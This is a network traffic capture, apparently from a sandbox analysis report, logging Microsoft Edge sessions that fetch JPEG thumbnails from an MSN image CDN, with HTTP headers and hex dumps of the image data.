2024-11-18 14:17:06 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 23 Oct 2024 15:34:18 GMT X-Datacenter: eastap X-ActivityId: 451a31b5-6ea3-4c00-9f6a-916587318427 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O X-Source-Length: 73239 Content-Length: 73239 Cache-Control: public, max-age=134303 Expires: Wed, 20 Nov 2024 03:35:29 GMT Date: Mon, 18 Nov 2024 14:17:06 GMT Connection: close
2024-11-18 14:17:06 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-18 14:17:06 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-18 14:17:07 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49818	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:06 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	521	IN	HTTP/1.1 200 OK Last-Modified: Sat, 09 Nov 2024 04:27:53 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: 0ed2a984-972a-4342-bdea-d61664509482 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF X-Source-Length: 131943 Content-Length: 131943 Cache-Control: public, max-age=396787 Expires: Sat, 23 Nov 2024 04:30:13 GMT Date: Mon, 18 Nov 2024 14:17:06 GMT Connection: close
2024-11-18 14:17:06 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-18 14:17:06 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-18 14:17:07 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-18 14:17:07 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-18 14:17:07 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49817	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:06 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=255222 Expires: Thu, 21 Nov 2024 13:10:48 GMT Date: Mon, 18 Nov 2024 14:17:06 GMT Connection: close
2024-11-18 14:17:06 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
